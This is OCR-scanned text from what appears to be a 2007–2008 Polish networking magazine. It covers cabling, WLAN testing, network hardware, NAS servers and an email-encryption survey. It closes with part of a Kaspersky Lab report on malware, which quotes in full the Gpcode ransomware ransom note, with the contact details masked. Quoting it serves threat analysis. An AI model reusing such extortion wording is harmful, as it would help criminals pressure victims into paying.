wo dowych na etapie projektowania. Pozwala ponadto
na eliminacje niewykorzystywanych (zapasowych)
wib-kien, poniewaz dodatkowe widkna moga by¢ w do-
wolnej chwili doinstalowane.

System Laserstream jest w petni zgodny z pozostatymi
elementami $wiattowodowymi Molex Premise Ne-
tworks. Podobnie jak caty system okablowania struktu-
ralnego, moze by¢ objety 25-letnig gwarancjg syste-
mowa.

CompactLan

Linia produktéw CompactLan jest dedykowana do bu-
dowy sieci zawierajgcych od kilku do kilkudziesigciu
uzytkownikoéw. Gtéwna cecha, ktéra odréznia te game
produktow, to niewielkie wymiary komponentow, dzieki
czemu punkt dystrybucyjny w postaci szafki wiszacej
mozna ulokowa¢ w dowolnym miejscu. Szafka dystry-
bucyjna ma wysoko$¢ 8U, umozliwia montaz do o$miu
dedykowanych elementéw o szerokosci 10 cali. Jako
elementy wyposazenia firma Molex Premise Net- works
proponuje 12-portowe panele krosowe kategorii 5e
w wersji UTP oraz FTP, 8-portowy panel telefoniczny
oraz panel $wiattowodowy z osmioma adapterami ST.
Wyposazenie dodatkowe zawiera: panel ze szczotka,
panel z wieszakami, panel ostonowy, potki montazowe
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oraz panel montazowy. Wszystkie elementy wyposaze-
nia majg wysokos¢ 1U i sg wykonane w kolorze cie-
mnoniebieskim, takim samym jak kolor samej szafki
dystrybucyjnej. Dzigki zastosowaniu specjalnego syste-
mu montazowego, ktéry nie wymaga stosowania srub
i nakretek, montaz i demontaz urzadzen jest bardzo
prosty i przyjazny dla uzytkownika. Kable poziome mo-
zna do szafki wprowadzi¢ poprzez przepust gorny,
przepust dolny lub od tytu szafki. Szafka posiada sy-
stem uziemiajacy oraz otwory wentylacyjne, co umoz-
liwia umieszczanie w niej urzgdzen aktywnych.

System ModLink
— szybkie instalacje swiatlowodowe

Produkty serii CompaktLan

Instalacja Swiattowodowa z uzyciem systemu Molex
Premise Networks ModLink jest szybka i prosta. Nie
trzeba instalowac ztgczek swiattowodowych, zbedne sg
specjalistyczne narzedzia. Kable ModLink to kable ta-
Smowe 6- lub 12-widknowe, fabrycznie zakonczone
z obu stron ztgczkami MTP. Dodatkowo kazda ztgczka
zabezpieczona jest zestawem do wciggania kabli
Swiatlowodowych (Pulling Eye) umozliwiajagcym wy-
godng i szybkg instalacje. Kaseta Molex Premise Net-
works ModLink stuzy do przejscia ze ztgcza MTP na
standardowe ztgcza ST lub SC. Kasety sq w wersjach
6- i 12-portowych w standardzie 19" lub do instalacji
nasciennych. Odpowiednie uchwyty montazowe nalezy
zamawiac¢ osobno. Wszystkie elementy systemu Mod-
Link sg testowane fabrycznie i nie jest wymagane te-
stowanie systemu po instalaciji.

Przy wykorzystaniu systemu Molex Premise Net-works
ModLink wykonanie instalacji typu Fiber to the Desk
staje sie duzo prostsze. Kable ModLink doskonale na-
dajg sie do podtgczenia punktu posredniego do Pietro-
wego Punktu Dystrybucyjnego (HDF) lub bezposrednio
do Gtéwnego Punktu Dystrybucyjnego (MDF) (w Scen-
tralizowanym Systemie Swiatlowodowym wg Biuletynu
EIA/TIA TSB-72).

Po zmianie aranzacji biura system zmienia si¢ wraz
z rozktadem pomieszczen. Kasete ModLink instaluje
sie w nowym miejscu, a kabel odtgcza sie i podigcza
w nowej lokalizacji. System Molex Premise Networks
ModLink mozna wykorzysta¢ do zbudowania okablowa-
nia pionowego od Pietrowego Punktu Dystrybucyj-nego
do Gtoéwnego Punktu Dystrybucyjnego. Mate rozmiary
kabli ModLink pozwalajg na instalowanie ich w bardzo
matych lub wypetnionych kanatach instalacyjnych. Z sy-
stemem ModLink wykonanie catego tgcza trwa tyle, ile
potozenie samego kabla w systemie tradycyjnym. B

Autor jest kierownikiem wsparcia technicznego
Molex Premise Networks
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Przepustowos$¢ sieci WLAN

Firma AirMagnet oprac

AirMagnet

z howg technika

owala nowa technologie

Wireless LAN Performance Measurement, ktéra stuzy

do testowania i pomiaréw przepustowosci miedzy
klientem bezprzewodowym a punktem dostepowym

(AP) w sieci WLAN. Jest to technologia, ktéra pozwala
aktywnie testowac sie¢ bezprzewodowgq z perspektywy
uzytkownika, dostarczajac krytycznych informacji na temat

wydajnosci.
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Mozliwos¢ aktywnego obliczania przepustowosci
na podstawie danych w standardzie 802.11 po-
zwala zagwarantowa¢ wydajnos¢ klienta w sieci
WLAN. AirMagnet Inc. jest jedynym producen-
tem, ktory oferuje tego rodzaju aktywne testowa-
nie z poziomu laptopa uzytkownika, umozliwiajgc
doktadne raportowanie wydajnosci klienta w cza-
sie rzeczywistym.

Opracowana przez firme AirMagnet i opatento-
wana w Stanach Zjednoczonych technologia Wi-
reless LAN Performance Measurement umozli-
wia przeprowadzanie testu przepustowosci na
podstawie przestanej przez klienta do punktu do-
stepowego pewnej liczby ramek danych.

System AirMagnet sprawdza woéwczas potwier-
dzenia odebrane z punktu dostepowego (AP)
w celu oszacowania wydajnosci. Dzieki temu
mozna uzyskac rzeczywiste dane na temat prze-
pustowo$ci miedzy klientem a punktem dostepo-
wym.

AirMagnet dla WLAN

Technologia testowania przepustowosci AirMag-
net Wireless LAN Performance Measurement
znajduje zastosowanie w dostgpnych na rynku
narzedziach do projektowania, wdrazania, zabez-
pieczania i zarzadzania sieciami WLAN — réw-
niez w trudnych i zmiennych warunkach.

Innowacyjne produkty oferowane przez firme
obejmujg: AirMagnet Enterprise — rozwigzanie do
zarzgdzania wydajnoscig i bezpieczenstwem sie-
ci bezprzewodowych, narzedzia do rozwigzywa-
nia probleméw i analizy sieci WLAN, do badania
i projektowania lokalizacji WLAN, wykrywania in-
terferencji radiowej, zdalnej diagnostyki oraz pio-
nierskiej analizy przesytu gtosu w sieciach WiFi.

Wszystkie te rozwigzania dostepne sg u wytgczne-
go przedstawiciela firmy AirMagnet Inc. w Polsce
— firmie Passus sp. z 0.0. &

AirMagnet: aktywne testowanie sieci
i dokfadne raportowanie wydajnosci

FRAIFRARL
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Specjalistyczna, zintegrowana platforma dla urzadzen

UTM, VPN i zapér sieciowych

VIA NAB 7500

Firma VIA Technologies, Inc. poinformowafa o wprowadzeniu do oferty zintegrowanej
platformy VIA NAB 7500 do zaawansowanych zabezpieczen sieciowych.

Korzystajac z doswiadczen w projektowaniu energooszczednych, wyspecjalizowanych
platform, VIA prezentuje nowy produkt dla sektora urzadzen infrastruktury sieciowej.

VIA NAB 7500 zaspokaja potrzeby nowoczesnych
sieciowych zabezpieczen infrastrukturalnych. Jest
to wysoce zintegrowana platforma typu NAB (Ne-
twork Appliance Board) dla elementéw infrastruktury
sieciowej, w tym zabezpieczen takich jak zapory,
VPN, UTM i systemy zapobiegania wtamaniom do
sieci (IPS). Inne mozliwe zastosowania platformy to
serwery proxy oraz produkty zapewniajgce QoS i
réwnowazenie przeptywu w sieci.

Aby sprosta¢ wymaganiom w zakresie wydajnosci,
niezawodnosci i bezpieczenstwa sieci, VIA NAB
7500 zostata wyposazona w pie¢ portdbw Gigabit
Ethernet (4 poprzez PCI Express) z obstugg funk-
cji LAN Bypass, interfejs WLAN USB, cztery porty
S-ATA do rejestrowania danych lub podpiséw, porty
szeregowe do przekierowania na konsole oraz funk-
cje zasilana LCM, a takze szereg innych wiasciwo-
Sci zwigkszajgcych niezawodno$S¢ i bezpieczen-
stwo, takich jak modut TPM umozliwiajgcy sprze-
towg ochrone danych. Sercem systemu jest ener-
gooszczedny i niewydzielajgcy duzych iloci ciepta
procesor VIA C7.

— VIA z dumg wprowadza na rynek produkt prze-
znaczony dla integratorow systemoéw sieciowych —
powiedziat Daniel Wu — zastepca wiceprezesa pio-
nu platform zintegrowanych w firmie VIA Technolo-
gies, Inc.

— NAB 7500, jako produkt zaprojektowany specjal-
nie dla tego sektora rynku, oferuje doskonatg wydaj-
nosc sieci bez kompromisow w zakresie ener-goosz-
czednosci i bezpieczenstwa.
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Ptyta VIA NAB 7500

Ptyta VIA NAB 7500 wykorzystuje energooszczedny
procesor VIA C7 1,5 GHz (procesory o innej cze-
stotliwosci sg dostepne dla kontrahentéw projekto-
wych) i wszechstronny chipset VIA CN896. Obstu-
guje do 3,5 GB pamieci DDR2, zawiera cztery porty
Gigabit Ethernet na szybkiej magistrali PCI-E i do-
datkowy port Gigabit LAN na magistrali PCI. VIA
NAB 7500 ma réwniez sieciowe obejscie (LAN By-
pass) dodatkowo zabezpieczajgce przed skutkami
zawieszenia systemu i awarii zasilania. Kontrola
nad urzadzeniem jest mozliwa poprzez oprogramo-
wanie Watch Dog Timer, GPIO lub oprogramowanie
na zamoéwienie.

Rozbudowe systemu zapewnia modut Golden Fin-
ger, umozliwiajgcy rozszerzenie konfiguracji na wie-
le ptyt lub dodanie do trzech kart PCI. System prze-
chowywania danych oparty jest na czterech portach
S-ATA z obstugg RAID 0 i RAID 1, a takze 44-pino-
wym ztgczu IDE/Compact Flash.

Opcjonalnie dostepny jest uktad TPM zwiekszajacy
poziom bezpieczenstwa, port COM, 8 portow PGIO,
ztgcza dla portéw PS/2 i VGA, diody panelowe dla
funkcji LAN i LAN Bypass i do szesciu portow USB
2.0.

Bezpieczenstwo systemu mozna zwigkszy¢ urucha-
miajac VIA PadLock™ Security Engine — sprzetowy
system zapewniajgcy szyfrowanie i ochrone na po-
ziome wojskowym dzieki najszybszemu w $wiecie
silnikowi szyfrujigcemu w klasie x86. VIA StrongBox
to aplikacja wspotpracujgca z VIA PadLock Security
Engine, umozliwiajgca stworzenie do 10 szyfrowa-
nych dyskéw wirtualnych. B
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Inteligentny system przechowywania danych

#  Media cyfrowe
w domowej sieci

I internecie

Firma NETGEAR Inc. zaprezentowata sieciowe serwery danych.
Urzadzenia umozliwiaja centralizacje, organizacje i wspétdzielenie
wszelkich cyfrowych mediéw w sieci domowe;.
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ReadyNAS Duo 500GB Gigabit Desktop Network
Storage (RND2150), ReadyNAS Duo 750GB Gi-
gabit Desktop Network Storage (RND2175) i Re-
adyNAS Duo 1TB Gigabit Desktop Network Sto-
rage (RND2110) to pierwsze produkty z wielokro-
tnie nagradzanej rodziny sieciowych serwerow
danych ReadyNAS zaprojektowane z myslg o
przechowywaniu danych w domowych sieciach
komputerowych. Seria ReadyNAS Duo dostarcza
konsumentom opatentowane technologie serwe-
rowe znane z przemystowej serii ReadyNAS NV+
i zapewnia bezpieczenstwo danych, skalowanie i
tatwos¢ obstugi.

ReadyNAS Duo obstuguje do dwoch dyskow
twardych SATA i pracuje pod kontrolg wydajnego
oprogramowania wbudowanego, ktére umozliwia
centralne i bezpieczne przechowywanie i uzytko-
wanie mediow cyfrowych w domowej sieci. Po
podtgczeniu dowolnego aparatu cyfrowego ze
ztgczem USB do portu USB na przednim panelu
serwer ReadyNAS Duo szybko kopiuje zdjecia
i udostepnia je komputerom, PDA i innym urza-
dzeniom sieciowym w domu lub w internecie.

Oprécz przechowywania cyfrowych plikéw audio
i wideo stworzonych przez uzytkownika, Ready-
NAS Duo obstuguje réwniez protokédt BitTor-
rent™, umozliwiajacy $cigganie cyfrowej rozrywki
bezposrednio do serwera ReadyNAS Duo i stru-
mieniowe przesytanie tresci audiowizualnych za
posrednictwem adaptera (na przyktad NETGEAR
Digital Entertainer HD) do zestawu kina domowe-
go, bez potrzeby wigczania jakiegokolwiek kom-
putera PC w domowej sieci.

ReadyNAS Duo moze by¢ opcjonalnie wyposa-
zony w drugi dysk twardy, na ktérym automatycz-
nie wykonywane bedg kopie wszystkich danych
cyfrowych dla ochrony przed utratg na wypadek
awarii jednego z dyskoéw. System ciggtej ochrony
danych CDP dodatkowo wzmacnia ochrone da-
nych uzytkownika poprzez monitorowanie zmian
w danych i automatyczne ich uaktualnianie.

ReadyNAS Duo jest tatwy do zainstalowania
i obstugi — dotgczony program instalacyjny umoz-
liwia szybka konfiguracje urzadzenia w kaz-
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dej sieci domowej. Urzgdzenie samo pobiera
uaktualnienia oprogramowania sterujgcego, a cate
zarzadzanie odbywa sie za posrednictwem grafi-
cznego interfejsu w przegladarce internetowej.
ReadyNAS Duo okresowo sprawdza integralnosé
danych i bezpiecznie wigcza sie w przypadku
jakichkolwiek nieprawidtowosci. Dostep do da-
nych w urzadzeniu moze by¢ chroniony hastem.

Serwer ReadyNAS Duo wspotpracuje zaroéwno
z komputerami z systemami operacyjnymi Win-
dows Vista, jak i Macintosh, wykorzystuje spec-
jalne technologie Apple, takie jak Bonjour i AFK,
jak réowniez system desktop widget, utatwiajgcy
monitorowanie i dostep do ReadyNAS. Serwery
Duo zostaty zaprojektowane z myslg o grafikach
i fotografikach preferujacych platforme Macin-
tosh. Plik zapisany w serwerze ReadyNAS moze
by¢ z tatwoscig przenoszony i wspoétdzielony
przez komputery z systemami Windows i Macin-
tosh.

— Wraz z szybkim rozwojem i rozpowszechnie-
niem urzgdzen konsumenckich tworzgcych i wy-
korzystujgcych ogromng réznorodno$¢ mediow
cyfrowych konsumenci poszukujg nie tylko coraz
wiekszej pojemnosci i lepszych zabezpieczen dla
cennych danych, lecz takze rozwigzan, ktére po-
zwalajg wspotdzielic dane ze znajomymi czy ro-
dzing zaréwno w sieci domowej, jak i przez inter-
net — powiedziat Wojciech Karwowski, country
manager NETGEAR Poland. — Sukces prze-
mystowych systeméw ReadyNAS NV+ stworzyt
popyt wsréd uzytkownikow instytucjonalnych na
tansze, lecz w petni wyposazone urzgdzenia
tego typu, przeznaczone do uzytku domowego.
Serwery ReadyNAS Duo posiadaja wszystkie
najwazniejsze zalety urzgdzen klasy przemy-
stowej i tgczg fatwos¢ obstugi ze sprzetowym
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wsparciem dla wielu systemow operacyjnych,
niezawodng ochrong i przemystowg wydajnosciq.
To idealne, niedrogie, inteligentne sieciowe ser-
wery danych dla zaawansowanych konsumen-
tow.

Rodzina produktow ReadyNAS obejmuje:

® RND2150 ReadyNAS Duo 500GB Gigabit
Desktop Network Storage (jeden dysk twardy
SATA 500GB);

® RND2175 ReadyNAS Duo 750GB Gigabit
Desktop Network Storage (jeden dysk twardy
SATA 750GB);

® RND2110 ReadyNAS Duo 1TB Gigabit Desk-
top Network Storage (jeden dysk twardy SATA
1TB SATA);

® RND4000 ReadyNAS NV+ 4-Bay Gigabit
Desktop Network Storage (bez dyskéw twar-
dych);

® RND4250 ReadyNAS NV+ 1TB Gigabit Desk-
top Network Storage (dwa dyski twarde SATA
500GB);

® RND4425 ReadyNAS NV+ 1TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 250GB);

® RND4275 ReadyNAS NV+ 1.5TB Gigabit
Desktop Network Storage (dwa dyski twarde
SATA 750GB);

® RND4450 ReadyNAS NV+ 2TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 500GB);

® RND4210 ReadyNAS NV+ 2TB Gigabit Desk-
top Network Storage (dwa dyski twarde SATA
1TB SATA);

® RND4475 ReadyNAS NV+ 3TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 750GB SATA);

® RND4410 ReadyNAS NV+ 4TB Gigabit Desk-
top Network Storage (cztery dyski twarde
SATA 1TB SATA);

® RNR4450 ReadyNAS 1100 2TB Dual Gigabit
Rackmount Network Storage (cztery dyski
twarde SATA 500GB);

® RNR4475 ReadyNAS 1100 3TB Dual Gigabit
Rackmount Network Storage (cztery dyski
twarde SATA 750GB):

® RNR4410 ReadyNAS 1100 4TB Dual Gigabit
Rackmount Network Storage (cztery dyski
twarde SATA 1TB).

NETGEAR ReadyNAS
Duo 2-Bay Gigabit Desktop
Network Storage Solutions

NETGEAR ReadyNAS™ Duo 2-Bay Gigabit
Desktop Network Storage to inteligentne ser-
wery sieciowe tgczace niezawodne funkcje ser-
werowe, obstuge wielu systemow operacyjnych
oraz funkcje nadmiarowej ochrony danych.
Urzadzenia sg tatwe w instalacji i obstudze przez
przegladarke.
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ReadyNAS Duo posiadajg wbudowany gigabito-
wy interfejs Ethernet umozliwiajacy szybki prze-
syt danych.

Kompaktowe serwery umozliwiajg centralne
przechowywanie muzyki, zdje¢, danych i filméw,
utatwiajac transfer i wspotdzielenie danych cyfro-
wych w sieci. ReadyNAS Duo wspotpracujg bez
oprogramowania klienckiego z systemami Win-
dows, Macintosh i Linux/Unix, obstugujg tez pro-
tokoty FTP i HTTP, co utatwia integracje w kaz-
dym $rodowisku sieciowym.

ReadyNAS Duo obstuguje wszystkie popularne
protokoty strumieniowego przesytu danych, w tym
UPnP AV, iTunes i Logitech Squeezecenter, co
umozliwia strumieniowe przesytanie plikéw audio
i wideo bezposrednio do domowego centrum roz-
rywki bez posrednictwa uruchamiania oddzielne-
go komputera w sieci.

NETGEAR ReadyNAS Duo wyposazono w za-
awansowane technologie serwerowe, w tym
sprzetowo przyspieszang macierz X-RAID™, za-
pewniajgcg petng nadmiarowos¢ danych z petng
ochrong przed awarig sprzetowa, mozliwo$cig
wymiany twardych dyskéw bez przerywania pra-
cy urzadzenia, wbudowanym menedzerem Kopii
zapasowych, systemem monitorowania i auto-
matycznego powiadamiania.

Ponadto ReadyNAS Duo obstuguje dostep do
multimediéw w trybie UpnP i w roli serwera iTu-
nes, zdalny dostep HTTP/S, transfery FTP/S,
zabezpieczenia SSL i ACL oraz obstuge wielu
portow USB.

ReadyNAS Duo, ktéry obstuguje do dwoch dys-
kow twardych SATA, daje uzytkownikom do
dwaoch terabajtéw (2000 GB) pojemnosci, co do-
skonale zaspokaja stale rosngce zapotrzebo-
wanie konsumentéw intensywnie korzystajgcych
Z sieci.

ReadyNAS Duo umozliwia rozbudowe pojemno-
Sci w trybie PnP i utatwia migracje do prze-
mystowych systeméw ReadyNAS NV+ Gigabit
Desktop Network Storage. Produkty ReadyNAS
wykorzystujg opatentowang technologie X-RA-
ID™, ktéra automatyzuje proces powielania da-
nych w systemie nadmiarowym, co zapewnia naj-
wyzszy poziom ochrony cennych danych cyfro-
wych.

NETGEAR ReadyNAS Duo dostarczany jest
z oprogramowaniem NTI Shadow Backup Soft-
ware umozliwiajgcym automatyzacje wykony-
wania kopii zapasowych danych z komputeréw
w sieci. Urzadzenia z trzyletnig gwarancjg sprze-
towg bedg dostepne w drugim kwartale 2008
roku u wiodgcych detalistow, sprzedawcéw bez-
posrednich, w sklepach internetowych i u sprze-
dawcow VAR w cenie okoto 500 USD + VAT
(z 500 GB dyskiem twardym). B

Zrodto: INVENTIVE Communication
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Osterman Research: ochrona przed wyciekiem poufnych informaciji z firmy

Poczta elektroniczna stata sie gtbwnym medium w komunikacji
biznesowej — jest wazniejsza od telefonu, faksu i tradycyjnej
poczty. 75 proc. informacji (takich, jak zaproszenia na spotkanie,
dokumenty, zlecanie zadan) jest przekazywanych za posrednictwem
e-maili. Codziennie kazdy pracownik wysyta i otrzymuje $rednio
140 wiadomosci elektronicznych.
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Wedtug organizacji Privacy Rights Clearinghouse
zajmujacej sie problemami kradziezy tozsamosci,
od stycznia 2005 r. do czerwca 2007 r. zagrozo-
nych byto ponad 155 milionéw rekordéw praw
osobowych obywateli w USA. Ryzyko wycieku
poufnych informacji jest jeszcze wyzsze w Euro-
pie i Azji. Zagrozenia te sg wynikiem rosngcej
liczby wtaman do sieci, kradziezy lub zgubienia
laptopow i innych urzadzen mobilnych.

Ponemon Institute ujawnit, ze w 2006 roku koszt
naruszenia poufnosci danych wynosit $rednio
182 USD za kazdy rekord i wzrost o 31 proc.
w poréwnaniu z rokiem 2005. Konsekwencjg na-
ruszenia poufnosci danych sg nie tylko problemy
finansowe firm, ale i utrata reputaciji.

Jednym ze sposobow zapobiegania wyciekom
poufnych informacji jest szyfrowanie danych i po-
czty elektronicznej. Z badania przeprowadzone-
go przez Osterman Research wynika, ze gtdéwny-
mi przyczynami wprowadzenia w firmie systemu

Tabela 1
Przyczyna stosowania systemu szyfrowania

poczty elektronicznej

rf Szyfrujmy dane

szyfrowania poczty elektronicznej sg zgodnosc
z regulacjami prawnymi i wymaganiami obowig-
zujgcymi w branzy oraz ochrona wiasno$ci inte-
lektualnej i reputacji marki.

Dziatami w firmie, ktore najczesciej korzystajg
z systemu szyfrowania danych, sg dziat praw-
ny, zarzad, a takze departamenty zajmujgce
sie wynagrodzeniami i kwestiami finansowymi.
Wedtug respondentow Osterman Research, sy-
stem taki jest najmniej potrzebny w dziatach
marketingu, sprzedazy i obstugi klientow.

Z badan Osterman Research wynika, ze firmy
najczesciej instalujg system szyfrowania poczty
elektronicznej na serwerze pocztowym lub bez-
posrednio na komputerach stacjonarnych, cho-
ciaz proces ten powinien by¢ przeprowadzony
tez na poziomie urzadzenh przenosnych.

Osterman Research ujawnia tez, jakie zasoby
(aplikacje, pliki, systemy, procesy) firmy najcze-
Sciej szyfrujg i jakie sg ich plany w tym zakresie
na rok 2008. Z badan Osterman Research wyni-
ka, ze przedsigbiorstwa zamierzajg wprowadzi¢
dodatkowg ochrone w postaci szyfrowania da-
nych m.in. dla urzgdzen mobilnych i przeno$nych
pamieci masowych, takich jak pen drive. To
odpowiedZ na rosnhgcq liczbe wiadomosci elek-
tronicznych wysytanych za po$rednictwem bez-

Proc. firm deklarujagcych wprowadzenie systemu
szyfrowania poczty elektronicznej z tego powodu

Zgodno$¢ z rzgdowymi regulacjami prawnymi 63 proc.
Ochrona wiasnosci intelektualnej 61 proc.
Zgodno$&¢ ze standardami lub wymaganiami
L . . 43 proc.
obowigzujacymi w branzy
Ochrona marki firmy 41 proc.

Tabela 2

Dziat prawny 25 proc 53 proc
Zarzad 21 proc 50 proc

Dziat wynagrodzen 21 proc 47 proc
Dziat IT 20 proc 39 proc

Dziat finansow 19 proc 43 proc
Dziat rozwoju i inwestycji 13 proc 33 proc
Dziat operacyjny 13 proc 29 proc
Dziat sprzedazy 12 proc 28 proc
Dziat obstugi klienta 12 proc 27 proc
Dziat marketingu 11 proc 27 proc
Dziat badan i rozwoju 10 proc 29 proc
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Tabela 3

Urzadzenia komputerowe, na ktérych przeprowadzane jest szyfrowanie e-maili

Bramka internetowa 62 proc.
Komputer stacjonarny 59 proc.
Laptop 37 proc.
Bezprzewodowe urzgdzenie przeno$ne 18 proc.
Tabela 4
Szyfrowane zasoby, aplikacje, systemy, procesy helohe FE T
2007 roku 2008 roku
Pliki 52 proc. 53 proc.
Zasoby FTP 48 proc. 31 proc.
Tasmy do wykonywania kopii zapasowych 41 proc. 29 proc.
Serwery plikow 38 proc. 43 proc.
Zawarto$¢ dyskow twardych komputeréw stacjonarnych i laptopow 33 proc. 49 proc.
Przeno$ne pamieci masowe 33 proc. 49 proc.
Bazy danych 31 proc. 35 proc.
Urzadzenia mobilne 25 proc. 33 proc.
Pliki mainframe 11 proc. 23 proc.

przewodowych urzadzen przenosnych. W 2007 proc., aby osiggng¢ poziom 29,4 proc. w 2009
roku 12,6 proc. uzytkownikdw wykorzystywato roku. B
urzadzenia mobilne do wysytania stuzbowych

e-maili. W 2008 roku liczba ta wzro$nie do 20,3
Zrodto: VERACOMP
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extra
internet creator

Platforma nn- _
nowoczesne rozwigzania dla biznesu

W zwigzku z tym, iz serwisy internetowe wymagaja dos¢ czestej aktualizacji to w przypadku standardowych rozwigzan
(przekazywanie materiatow, poprawek, informacji do specjalizowanej firmy) nie zawsze docierajq one na czas do
odwiedzajgcych serwis. W wyniku powstatych opoznien odwiedzajacy strone z trudem znajdujg wiasciwe informacje,
rosnie liczba wiadomosci nieaktualnych lub powtarzajacych sie, nie ma spojnosci w wygladzie graficznym witryny

i w nawigacji, na gtownej stronie brakuje informacji o najwazniejszych nowosciach w serwisie, pietrzg sie trudnosci

z zarzadzaniem duzg liczba plikow.

W takich przypadkach naturalng rzeczg jest przeniesienie obowigzku aktualizacji serwisu na osoby tworzace jego tresc

i nadanie im uprawnien do samodzielnej modyfikaciji witryny. Takie wtasnie mozliwo$ci daje stworzony przez nas System
Zarzadzania Serwisem Internetowym Ze wzgledu na tatwo$¢ jego obstugi jest on idealnym narzedziem nawet
dla os6b z minimalng wiedzg informatyczna.

www.extranet.pl | tel.623-23-54, fax.657-29-57 | email: biuro@extranet.pl




Uniwersalne kody hakerskie

Alexander Gostev, Vitaly Kamluk

Ewolucja szkodliwego
oprogramowania

Trzeci kwartat 2007 r. nie byt tak obfity w wydarzenia, jak oczekiwaliSmy. Naturalnie,
szkodliwe programy nie zniknety, a twércy wiruséw z pewnoscia nie zresocjalizowali sie
z dnia na dzien. Mimo to zdarzenia zwigzane z zagrozeniami wystepowaly na mniejsza skale

niz w poprzednich miesigcach czy latach.

Na osobie, ktéra pamieta globalne epidemie wy-
wotane przez robaki Mydoom i Lovesan, nieustajgcy
strumien niemal identycznych trojanéw zalewajg-
cych internet raczej nie zrobi duzego znaczenia. Na
pierwszy rzut oka wyglada na to, ze szkodliwi uzyt-
kownicy cierpig na brak ambicji zaréwno jezeli cho-
dzi o skale, jak i innowacje. Istnieje jednak proste
wyjasnienie: cyberprzestepczos¢ staje sie bizne-
sem, dlatego obecnie cyberprzestepcy prébujg uni-
ka¢ ,radaréw”. Epidemie wirusowe prowadzg do
Sledztw wszczynanych przez organy Scigania. Ci po
drugiej stronie barykady dziatajg teraz zgodnie
z hastem, ze najwazniejsza jest dyskrecja, zacho-
wujgc sie tak cicho i nienachalnie, jak to mozliwe.
W takim klimacie znaczace innowacje techniczne sg
rzadkoscig. Ugrupowania przestepcze preferujg te-
raz wyprobowane techniki i struktury. O ich dzia-
taniach dowiadujemy sie zazwyczaj wtedy, gdy stajg
sie nieostrozni. W tym wypadku pewng role odgry-
wajg chciwos¢ oraz niezbyt wielkie umiejetnosci
techniczne.

Za co zapamietamy trzeci kwartat 2007 roku? Za
liczne incydenty zwigzane z kradziezg danych uzyt-
kownika. Za najnowszego trojana szantazyste. Ma-
sowq histerie zwigzang z rosyjskg firmg Russian
Business Network, nazywang przez zwyktych uzyt-
kownikéw ‘Resident Evil’ $wiata cybernetycznego.

Na tym tle informacja o wzrastajgcej liczbie botne-
téw zwigzanych z Zhelatinem (Storm Worm) pozo-
stata prawie niezauwazona. Przeoczono nawet in-
formacje o tym, ze botnet robaka Storm sktada sie
z ponad 2 milionébw maszyn.

Rzeczywista ,linia frontu” zostata przesunieta na
catkowicie inny poziom — jednak media nic nie
wspominaty o tym.

W trzecim kwartale 2007 roku wiele uwagi po$wieci-
lismy wydarzeniom, o ktérych donosity media. Ba-
danie jednego incydentu doprowadzito nas do in-
nych incydentéw, ktére dopiero zaczynaty sie wy-
tania¢; obserwatorowi z zewnatrz wydarzenia te
mogty wydawac sie pozbawione zwigzku.

Najnowszy raport kwartalny nie jest standardowy.
Opiera sie na danych pochodzgcych z jednego po-
waznego dochodzenia i nie tylko obejmuje istotne
wydarzenia z ostatnich trzech miesiecy, ale réwniez
pokazuje, czym wiasciwie zajmujg sie analitycy wi-
rusow.
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Powroét szantazysty

Przez ponad rok nie byto nowych wiadomosci o szy-
frujgcych koniach trojanskich. W zesztym roku w na-
szym artykule zatytutowanym ,Szantazysta” szcze-
gotowo przedstawilismy, w jaki spos6b firmy antywi-
rusowe zwalczajg Gpcode’a — program wykorzy-
stujgcy algorytm RSA w celu szyfrowania da-
nych uzytkownika. W artykule przewidywaliémy, ze
w przysztoSci pojawi sie wieksza liczba takich pro-
gramow, jednak do nastepnego pojawienia sie pro-
gramu szyfrujgcego, w potowie lipca 2007 roku,
minagt prawie rok.

Mniej wiecej od 13 lipca niektdrzy uzytkownicy za-
czeli zauwazac, ze ich dokumenty, zdjecia, archiwa
i pliki robocze przestaly sie otwiera¢ i zawieraty ,cy-
frowy Smietnik”. Ponadto w ich systemach pojawit
sie plik o nazwie ‘read_me.txt". Niestety, zawartos¢
tego pliku byta az za dobrze nam znana:

Hello, your files are encrypted with RSA-4096 algorithm
(http://en.wikipedia.org/wiki/RSA).

You will need at least few years to decrypt these files without
our software. All your private information for last 3 months were
collected and sent to us. To decrypt your files you need to buy
our software. The price is $300.

To buy our software please contact us at: XXxxxxx@Xxxxxx.com
and provide us your personal code -XXXXXXXXX. After suc-
cessful purchase we will send your decrypting tool, and your
private information will be deleted from our system.

If you will not contact us until 07/15/2007 your private informa-
tion will be shared and you will lost all your data.

Glamorous team.
Ttumaczenie na jezyk polski:

Witam, twoje pliki zostaly zaszyfrowane za pomoca algorytmu
RSA-4096 (http:/en.wikipedia.org/wiki/RSA).

Bez naszego oprogramowania bedziesz potrzebowat przynaj-
mniej kilku lat, aby odszyfrowac te pliki.

Przez co najmniej 3 miesiace wszystkie twoje prywatne infor-
macje byly zbierane i przesylane do nas. Aby odszyfrowaé
swoje pliki, musisz kupi¢ nasze oprogramowanie. Cena to 300
dolaréw.

Aby zakupi¢ nasze oprogramowanie, skontaktuj si¢ z nami
na adres Xxxxxxx@xxxxx.com, podajac osobisty kod -
XXXXXXXXX. Po skutecznym zakupie wyslemy ci twoje narze-
dzie deszyfrujace, a twoje prywatne informacje zostana usunie-
te z naszego systemu.
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Jedli nie skontaktujesz sig z nami do 07/15/2007, twoje prywat-
ne informacje zostana udostepnione i utracisz wszystkie swoje
dane. Zespdt Glamorou.

Czyzby nieznany oszust powroécit? Analitycy wiru-
séw z firmy Kaspersky Lab znali juz ten adres
e-mail: uzyto go w niektérych wariantach trojana
LdPinch oraz bankerach — trojanach o wyraznie ro-
syjskich powigzaniach.

Przeprowadzona przez nasz zesp6t analiza zaszy-
frowanych plikéw pokazata, ze w przeciwienstwie do
tego, co podano w e-mailu, tworcy wiruséw nie wy-
korzystali algorytmu RSA-4096, ale modyfikacje al-
gorytmu RC4. To znacznie utatwito nasze zadanie.
W ciggu 24 godzin od wykrycia trojana szantazysty
zdotalismy ztamac¢ klucz szyfrujgcy i doda¢ do na-
szych antywirusowych baz danych procedury de-
szyfrowania dla plikow uzytkownika.

Analiza tej nowej wersji Gpcode’a pokazata, ze
szkodnik ten posiada wiele funkcji. Oprécz szyfro-
wania Gpcode potrafit kras¢ dane uzytkownika z za-
atakowanej maszyny, wysyta¢ je na serwer zdal-
nego uzytkownika oraz pobiera¢ z niego okreslone
pliki.

